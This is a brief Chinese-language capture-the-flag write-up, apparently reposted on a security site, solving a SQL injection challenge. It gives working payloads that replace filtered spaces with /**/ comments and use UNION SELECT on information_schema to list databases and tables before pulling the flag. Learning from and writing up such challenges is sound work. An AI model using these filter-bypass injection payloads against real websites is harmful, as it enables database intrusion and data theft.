免备案防cc_H5高防

根据页面提示,到底过滤了什么东西?可以知道一定过滤了什么....
分别输入1,2,3有对应的结果
使用'会报错,于是
构造常用的sql语句:1' and '1'='1
没有反应试一试1' and '1'='2
还是没反应,工具提示,应该是过滤了什么,改一下sql语句试一试
1and1=1
可以显示东西,经过判断过滤了空格,我们使用/**/来代替空格
试一试1'/**/and/**/'1'='1
发现有结果了:
于是构建sql语句:
判断有那些数据库:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
可以看到结果:
查看有哪些数据表:
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
发现了flag的表,我们猜测应该是在web1数据库中并且字段就是flag(其实就在本页面的数据库中)
故:
1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1
本人也是初学者,参考了许多大佬的wp 自己写出来后有什么错误的地方,希望大家指出,谢谢!
【声明】:黑吧安全网()登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
版权保护: 本文由 DDOS防御专家 原创,转载请保留链接: /web/127.html
- 上一篇:网页游戏被攻击_web服务器安全防护
- 下一篇:高防ip购买_cc攻击有效防御